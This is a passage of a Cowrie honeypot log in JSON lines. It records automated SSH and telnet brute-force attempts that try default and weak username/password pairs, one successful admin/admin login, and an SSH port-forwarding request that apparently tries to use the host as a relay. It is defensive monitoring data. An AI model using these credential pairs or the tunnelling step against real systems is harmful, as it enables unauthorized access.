a-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:01:32.514999Z","src_ip":"103.122.221.179","session":"fe97541e2b26","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1111a","message":"login attempt [root/1111a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:01:33.259662Z","src_ip":"103.122.221.179","session":"fe97541e2b26","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rdpuser","password":"123456","message":"login attempt [rdpuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:01:33.310889Z","src_ip":"193.151.144.93","session":"51991d686ea6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:01:34.511117Z","src_ip":"103.122.221.179","session":"fe97541e2b26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:01:34.918447Z","src_ip":"193.151.144.93","session":"51991d686ea6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.81713247299194,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:01:35.065557Z","src_ip":"69.4.83.194","session":"840403a6c8f5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":37224,"dst_ip":"10.17.0.5","dst_port":22,"session":"1b5d7551dfd6","protocol":"ssh","message":"New connection: 193.151.144.93:37224 (10.17.0.5:22) [session: 1b5d7551dfd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:01:37.812088Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:01:37.817120Z","src_ip":"193.151.144.93","session":"1b5d7551dfd6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:01:37.988961Z","src_ip":"193.151.144.93","session":"1b5d7551dfd6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456.","message":"login attempt [root/Aa123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:01:38.493443Z","src_ip":"193.151.144.93","session":"1b5d7551dfd6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:01:40.516070Z","src_ip":"193.151.144.93","session":"1b5d7551dfd6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":33148,"dst_ip":"10.17.0.5","dst_port":22,"session":"2d5c47610808","protocol":"ssh","message":"New connection: 193.151.144.93:33148 (10.17.0.5:22) [session: 2d5c47610808]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:01:43.218204Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:01:43.222311Z","src_ip":"193.151.144.93","session":"2d5c47610808","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:01:43.383168Z","src_ip":"193.151.144.93","session":"2d5c47610808","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@123456","message":"login attempt [root/Admin@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:01:43.864073Z","src_ip":"193.151.144.93","session":"2d5c47610808","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.1","message":"Connection lost after 5.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:01:48.314385Z","src_ip":"193.151.144.93","session":"2d5c47610808","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":33154,"dst_ip":"10.17.0.5","dst_port":22,"session":"9220e31128a5","protocol":"ssh","message":"New connection: 193.151.144.93:33154 (10.17.0.5:22) [session: 9220e31128a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:01:48.729355Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:01:48.734118Z","src_ip":"193.151.144.93","session":"9220e31128a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:01:48.906101Z","src_ip":"193.151.144.93","session":"9220e31128a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www","password":"123456","message":"login attempt [www/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:01:49.403983Z","src_ip":"193.151.144.93","session":"9220e31128a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:01:50.572274Z","src_ip":"193.151.144.93","session":"9220e31128a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":43328,"dst_ip":"10.17.0.5","dst_port":22,"session":"cf4c45ca709a","protocol":"ssh","message":"New connection: 193.151.144.93:43328 (10.17.0.5:22) [session: cf4c45ca709a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:01:54.249169Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:01:54.254203Z","src_ip":"193.151.144.93","session":"cf4c45ca709a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:01:54.422254Z","src_ip":"193.151.144.93","session":"cf4c45ca709a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:01:54.925651Z","src_ip":"193.151.144.93","session":"cf4c45ca709a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":11612,"dst_ip":"10.17.0.5","dst_port":22,"session":"6ecd872a69e9","protocol":"ssh","message":"New connection: 87.251.64.176:11612 (10.17.0.5:22) [session: 6ecd872a69e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:01:55.284020Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:01:55.289439Z","src_ip":"87.251.64.176","session":"6ecd872a69e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:01:55.385805Z","src_ip":"87.251.64.176","session":"6ecd872a69e9","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:01:55.670461Z","src_ip":"87.251.64.176","session":"6ecd872a69e9","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:01:55.771516Z","session":"6ecd872a69e9","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:01:55.868038Z","src_ip":"87.251.64.176","session":"6ecd872a69e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:01:55.967201Z","src_ip":"87.251.64.176","session":"6ecd872a69e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:01:56.529999Z","src_ip":"193.151.144.93","session":"cf4c45ca709a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":43338,"dst_ip":"10.17.0.5","dst_port":22,"session":"1199c9be46df","protocol":"ssh","message":"New connection: 193.151.144.93:43338 (10.17.0.5:22) [session: 1199c9be46df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:01:59.533091Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:01:59.538054Z","src_ip":"193.151.144.93","session":"1199c9be46df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:01:59.704403Z","src_ip":"193.151.144.93","session":"1199c9be46df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab-runner","password":"gitlab-runner","message":"login attempt [gitlab-runner/gitlab-runner] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:00.203198Z","src_ip":"193.151.144.93","session":"1199c9be46df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:01.376531Z","src_ip":"193.151.144.93","session":"1199c9be46df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":44998,"dst_ip":"10.17.0.5","dst_port":22,"session":"9fd804441723","protocol":"ssh","message":"New connection: 193.151.144.93:44998 (10.17.0.5:22) [session: 9fd804441723]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:04.774940Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:04.784093Z","src_ip":"193.151.144.93","session":"9fd804441723","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:04.958530Z","src_ip":"193.151.144.93","session":"9fd804441723","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qQ123456","message":"login attempt [root/qQ123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:05.478278Z","src_ip":"193.151.144.93","session":"9fd804441723","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"125.94.107.91","src_port":51996,"dst_ip":"159.203.135.109","dst_port":22,"session":"4063d28585db","protocol":"ssh","message":"New connection: 125.94.107.91:51996 (159.203.135.109:22) [session: 4063d28585db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:05.533731Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:05.538717Z","src_ip":"125.94.107.91","session":"4063d28585db","protocol":"ssh"}
